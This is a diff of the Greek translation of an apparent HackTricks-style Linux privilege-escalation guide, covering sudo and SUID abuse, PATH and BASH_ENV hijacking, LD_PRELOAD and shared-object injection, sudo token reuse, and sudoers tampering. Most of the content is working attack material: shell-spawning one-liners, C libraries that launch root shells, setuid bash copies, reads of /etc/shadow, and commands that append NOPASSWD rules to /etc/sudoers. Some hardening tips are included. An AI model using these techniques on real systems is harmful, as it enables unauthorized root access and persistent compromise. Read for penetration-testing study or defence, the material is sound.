μπορείτε να **γράψετε σε κάποιο φάκελο του $PATH** ίσως να μπορείτε να αυξήσετε δικαιώματα δημιουργώντας ένα backdoor μέσα στον εγγράψιμο φάκελο με το όνομα κάποιας εντολής που θα εκτελεστεί από διαφορετικό χρήστη (κατά προτίμηση root) και που **δεν φορτώνεται από φάκελο που βρίσκεται προηγουμένως** του εγγράψιμου φακέλου στο $PATH. +Αν διαπιστώσεις ότι μπορείς να **γράψεις μέσα σε κάποιον φάκελο του $PATH** ίσως να μπορέσεις να ανεβάσεις privileges δημιουργώντας **ένα backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιου command που πρόκειται να εκτελεστεί από διαφορετικό user (ιδανικά root) και το οποίο **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελό σου στο $PATH. -### SUDO και SUID +### SUDO and SUID -Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή με sudo ή αυτές να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: +Μπορεί να σου επιτρέπεται να εκτελέσεις κάποιο command χρησιμοποιώντας sudo ή κάποια binaries να έχουν το suid bit. Έλεγξε το χρησιμοποιώντας: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Ορισμένες **απροσδόκητες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: +Κάποιες **απρόσμενες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμη και να εκτελέσετε μια εντολή.** Για παράδειγμα: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -776,37 +777,37 @@ less>! ``` ### NOPASSWD -Η διαμόρφωση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελεί κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό. +Η ρύθμιση του sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να τρέξει το `vim` ως `root`. Είναι πλέον απλό να αποκτηθεί ένα shell προσθέτοντας ένα ssh key στον root κατάλογο ή καλώντας το `sh`. +Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`. Είναι πλέον απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο `root` ή καλώντας `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Αυτή η οδηγία επιτρέπει στον χρήστη να **ορίσει μια μεταβλητή περιβάλλοντος** κατά την εκτέλεση μιας εντολής ή προγράμματος: +Αυτή η οδηγία επιτρέπει στον χρήστη να **set an environment variable** κατά την εκτέλεση μιας εντολής: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Το παράδειγμα αυτό, **βασισμένο σε HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python library ενώ το script εκτελούνταν ως root: +Το παράδειγμα αυτό, **βασισμένο στο HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη ενώ εκτελούνταν το script ως root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV διατηρείται μέσω sudo env_keep → root shell -Εάν το sudoers διατηρεί το `BASH_ENV` (π.χ. `Defaults env_keep+="ENV BASH_ENV"`), μπορείτε να εκμεταλλευτείτε τη συμπεριφορά εκκίνησης του Bash σε μη διαδραστικά shells για να εκτελέσετε αυθαίρετο κώδικα ως root όταν καλείτε μια επιτρεπόμενη εντολή. +Εάν οι sudoers διατηρούν το `BASH_ENV` (π.χ. `Defaults env_keep+="ENV BASH_ENV"`), μπορείτε να εκμεταλλευτείτε τη μη-διαδραστική συμπεριφορά εκκίνησης του Bash για να εκτελέσετε αυθαίρετο κώδικα ως root όταν καλείτε μια επιτρεπόμενη εντολή. -- Γιατί λειτουργεί: Για μη διαδραστικά shells, το Bash αξιολογεί το `$BASH_ENV` και φορτώνει/εκτελεί αυτό το αρχείο πριν τρέξει το στοχευόμενο script. Πολλοί κανόνες sudo επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Αν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σας εκτελείται με δικαιώματα root. +- Γιατί λειτουργεί: Σε μη-διαδραστικά shells, το Bash αξιολογεί το `$BASH_ENV` και κάνει source σε αυτό το αρχείο πριν τρέξει το στοχευμένο script. Πολλοί κανόνες sudo επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Εάν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σας θα γίνει source με δικαιώματα root. - Απαιτήσεις: -- Ένας κανόνας sudo που μπορείτε να τρέξετε (οποιοσδήποτε στόχος που καλεί `/bin/bash` μη διαδραστικά, ή οποιοδήποτε bash script). -- Το `BASH_ENV` παρόν στο `env_keep` (έλεγχος με `sudo -l`). +- Ένας κανόνας sudo που μπορείτε να τρέξετε (οποιοσδήποτε στόχος που καλεί `/bin/bash` μη-διαδραστικά, ή οποιοδήποτε bash script). +- Το `BASH_ENV` να περιλαμβάνεται στο `env_keep` (ελέγξτε με `sudo -l`). - PoC: ```bash @@ -820,12 +821,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - Σκληροποίηση: - Αφαιρέστε `BASH_ENV` (και `ENV`) από `env_keep`, προτιμήστε `env_reset`. -- Αποφύγετε shell wrappers για εντολές επιτρεπόμενες από sudo· χρησιμοποιήστε minimal binaries. +- Αποφύγετε shell wrappers για sudo-allowed commands; χρησιμοποιήστε minimal binaries. - Εξετάστε sudo I/O logging και alerting όταν χρησιμοποιούνται preserved env vars. -### Διαδρομές παράκαμψης εκτέλεσης sudo +### Sudo μονοπάτια παράκαμψης εκτέλεσης -**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα στο sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -840,25 +841,25 @@ sudo less /var/log/new #Use symlinks to read any file sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Αντιμέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Μέτρα αντιμετώπισης**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary χωρίς καθορισμένη διαδρομή εντολής +### Sudo command/SUID binary χωρίς καθορισμένο path εντολής -Αν η **sudo permission** δοθεί σε μία μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να την εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Εάν η **sudo permission** έχει δοθεί σε μία μόνο εντολή **χωρίς να καθοριστεί το path**: _hacker10 ALL= (root) less_, μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**). +Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) ### SUID binary με καθορισμένη διαδρομή εντολής -Αν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να προσπαθήσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. +Εάν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να δοκιμάσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. -Για παράδειγμα, αν ένα suid binary καλεί _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Για παράδειγμα, εάν ένα suid binary καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσετε να δημιουργήσετε τη function και να την exportάρετε: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -867,14 +868,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις υπόλοιπες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προφόρτωση (preloading) μιας βιβλιοθήκης. +Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες κοινόχρηστες βιβλιοθήκες (.so αρχεία) που θα φορτωθούν από τον φορτωτή πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C βιβλιοθήκης (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προφόρτωση μιας βιβλιοθήκης. -Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ειδικά σε εκτελέσιμα με **suid/sgid**, το σύστημα επιβάλει ορισμένες προϋποθέσεις: +Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ειδικά με εκτελέσιμα suid/sgid, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: -- Ο loader αγνοεί τη μεταβλητή **LD_PRELOAD** για εκτελέσιμα όπου το real user ID (_ruid_) δεν ταιριάζει με το effective user ID (_euid_). -- Για εκτελέσιμα με suid/sgid, μόνο βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid προφορτώνονται. +- Ο φορτωτής αγνοεί **LD_PRELOAD** για εκτελέσιμα όπου το πραγματικό user ID (_ruid_) δεν ταιριάζει με το αποτελεσματικό user ID (_euid_). +- Για εκτελέσιμα με suid/sgid, προφορτώνονται μόνο βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid. -Αναβάθμιση προνομίων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να διατηρηθεί και να αναγνωριστεί ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. +Privilege escalation μπορεί να προκύψει αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να διατηρείται και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. ``` Defaults env_keep += LD_PRELOAD ``` @@ -896,12 +897,12 @@ system("/bin/bash"); cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Τέλος, **escalate privileges** εκτελώντας +Τελικά, **escalate privileges** τρέχοντας ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ένας παρόμοιος privesc μπορεί να εκμεταλλευτεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH**, επειδή έτσι ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. +> Μια παρόμοια privesc μπορεί να εκμεταλλευτεί αν ο επιτιθέμενος ελέγχει την περιβαλλοντική μεταβλητή **LD_LIBRARY_PATH**, επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. ```c #include #include @@ -923,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Όταν συναντάτε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την ακόλουθη εντολή: +Όταν συναντήσετε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύσετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την ακόλουθη εντολή: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει πιθανότητα για exploitation. +Για παράδειγμα, η εμφάνιση σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει πιθανότητα εκμετάλλευσης. -Για να exploit αυτό, κάποιος θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: +Για να το εκμεταλλευτεί κάποιος, θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: ```c #include #include @@ -942,11 +943,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει στην ανύψωση προνομίων με την τροποποίηση των δικαιωμάτων αρχείων και την εκτέλεση ενός shell με αυξημένα προνόμια. -Μεταγλωττίστε το παραπάνω αρχείο C σε ένα shared object (.so) με: +Μεταγλωττίστε το παραπάνω C αρχείο σε shared object (.so) αρχείο με: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Τελικά, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας πιθανό system compromise. +Τέλος, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας ενδεχόμενη παραβίαση του συστήματος. ## Shared Object Hijacking ```bash @@ -958,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Τώρα που βρήκαμε ένα SUID binary που φορτώνει μια library από έναν φάκελο όπου μπορούμε να γράψουμε, ας δημιουργήσουμε τη library σε αυτόν τον φάκελο με το απαραίτητο όνομα: +Τώρα που βρήκαμε ένα SUID binary που φορτώνει μια library από έναν folder όπου μπορούμε να write, ας δημιουργήσουμε τη library σε αυτόν τον folder με το απαραίτητο όνομα: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -975,13 +976,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να έχει μια συνάρτηση με το όνομα `a_function_name`. +αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να έχει μια συνάρτηση που ονομάζεται `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν επιτιθέμενοι για να παρακάμψουν τοπικούς περιορισμούς ασφάλειας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **only inject arguments** σε μια εντολή. +[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα από Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **να εισάγετε μόνο arguments** σε μια εντολή. -Το project συλλέγει νόμιμες λειτουργίες Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να αυξήσουν ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες post-exploitation. +Το project συγκεντρώνει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να eskalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,60 +1001,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Αν μπορείτε να τρέξετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε sudo κανόνα. ### Reusing Sudo Tokens -Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να αυξήσετε privileges περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια καταλαμβάνοντας το session token. +Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να κλιμακώσετε τα προνόμια περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αρπάζοντας το session token. -Απαιτήσεις για escalation: +Απαιτήσεις για την κλιμάκωση προνομίων: - Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" -- "_sampleuser_" έχει **used `sudo`** για να εκτελέσει κάτι στα **last 15mins** (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμε `sudo` χωρίς να εισάγουμε κάποιο password) +- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15mins** (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό) - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 - `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Μπορείτε προσωρινά να ορίσετε το ptrace_scope με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και ορίζοντας `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Αν πληρούνται όλες αυτές οι προϋποθέσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Το **first exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` σε _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **activate the sudo token in your session** (δεν θα αποκτήσετε αυτόματα root shell, κάντε `sudo su`): +- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη session σας** (δεν θα πάρετε αυτόματα root shell, κάντε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **ιδιοκτησίας του root με setuid** +- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **ιδιοκτησίας root με setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Το **τρίτο exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει **τα sudo tokens μόνιμα και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν το sudo** +- Το **τρίτο exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει τα **sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Αν έχετε **write permissions** στον φάκελο ή σε κάποιο από τα αρχεία που έχουν δημιουργηθεί μέσα σε αυτόν μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ -Για παράδειγμα, αν μπορείτε να αντικαταστήσετε το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως αυτός ο user με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό, εκτελώντας: +Αν έχετε **write permissions** στον φάκελο ή σε κάποιο από τα αρχεία που δημιουργήθηκαν μέσα σε αυτόν μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ +Για παράδειγμα, αν μπορείτε να overwrite το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως user με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` καθορίζουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και πώς. Αυτά τα αρχεία **εξ ορισμού μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ -**Αν** μπορείτε να **διαβάσετε** αυτό το αρχείο ίσως μπορέσετε να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και αν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορέσετε να **escalate privileges**. +Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` ρυθμίζουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και με ποιον τρόπο. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ +**Εάν** μπορείτε να **διαβάσετε** αυτό το αρχείο, μπορεί να καταφέρετε να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και αν μπορείτε να **γράψετε** σε οποιοδήποτε αρχείο θα μπορέσετε να **αναβαθμίσετε δικαιώματα**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Αν μπορείς να γράψεις, μπορείς να εκμεταλλευτείς αυτήν την άδεια +Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Ένας άλλος τρόπος κατάχρησης αυτών των δικαιωμάτων: +Ένας άλλος τρόπος κατάχρησης αυτών των permissions: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1062,13 +1063,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Υπάρχουν μερικές εναλλακτικές στο εκτελέσιμο `sudo`, όπως το `doas` για το OpenBSD. Θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` +Υπάρχουν μερικές εναλλακτικές στο εκτελέσιμο `sudo`, όπως το `doas` για το OpenBSD — θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Εάν γνωρίζετε ότι **ένας χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αυξήσει τα προνόμια και έχετε αποκτήσει ένα shell στο πλαίσιο αυτού του χρήστη, μπορείτε να **create a new sudo executable** που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Έπειτα, **modify the $PATH** του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το sudo executable σας. +Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αποκτήσει αυξημένα δικαιώματα και έχετε ένα shell στο πλαίσιο αυτού του χρήστη, μπορείτε να **δημιουργήσετε ένα νέο sudo εκτελέσιμο** που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του πλαισίου χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το sudo εκτελέσιμό σας. Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) @@ -1091,12 +1092,12 @@ sudo ls ### ld.so -Το αρχείο `/etc/ld.so.conf` υποδεικνύει **από πού προέρχονται τα φορτωμένα αρχεία ρυθμίσεων**. Συνήθως, αυτό το αρχείο περιέχει την εξής διαδρομή: `include /etc/ld.so.conf.d/*.conf` +Το αρχείο `/etc/ld.so.conf` υποδεικνύει **από πού προέρχονται τα φορτωμένα αρχεία ρυθμίσεων**. Τυπικά, αυτό το αρχείο περιέχει την εξής διαδρομή: `include /etc/ld.so.conf.d/*.conf` -Αυτό σημαίνει ότι τα αρχεία ρυθμίσεων από `/etc/ld.so.conf.d/*.conf` θα διαβαστούν. Αυτά τα αρχεία ρυθμίσεων **δείχνουν σε άλλους φακέλους** όπου θα **αναζητηθούν** οι **βιβλιοθήκες**. Για παράδειγμα, το περιεχόμενο του `/etc/ld.so.conf.d/libc.conf` είναι `/usr/local/lib`. **Αυτό σημαίνει ότι το σύστημα θα αναζητά βιβλιοθήκες μέσα στο `/usr/local/lib`**. +Αυτό σημαίνει ότι τα αρχεία ρυθμίσεων από `/etc/ld.so.conf.d/*.conf` θα διαβαστούν. Αυτά τα αρχεία ρυθμίσεων **δείχνουν σε άλλους φακέλους** όπου θα **αναζητηθούν** οι **βιβλιοθήκες**. Για παράδειγμα, το περιεχόμενο του `/etc/ld.so.conf.d/libc.conf` είναι `/usr/local/lib`. **Αυτό σημαίνει ότι το σύστημα θα αναζητήσει βιβλιοθήκες μέσα στο `/usr/local/lib`**. -Αν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιαδήποτε από τις υποδεικνυόμενες διαδρομές: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιονδήποτε φάκελο που αναφέρεται μέσα σε αρχεία config στο `/etc/ld.so.conf.d/*.conf` μπορεί να είναι σε θέση να αποκτήσει αυξημένα προνόμια.\ -Ρίξτε μια ματιά στο **πώς να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση** στην παρακάτω σελίδα: +Εάν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιοδήποτε από τα μονοπάτια που αναφέρονται: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιονδήποτε φάκελο που αναφέρεται μέσα σε κάποια από τα αρχεία `/etc/ld.so.conf.d/*.conf` μπορεί να είναι σε θέση να αποκτήσει αυξημένα προνόμια.\ +Ρίξτε μια ματιά στο **πώς να εκμεταλλευτείτε αυτή την λανθασμένη διαμόρφωση** στην παρακάτω σελίδα: {{#ref}} @@ 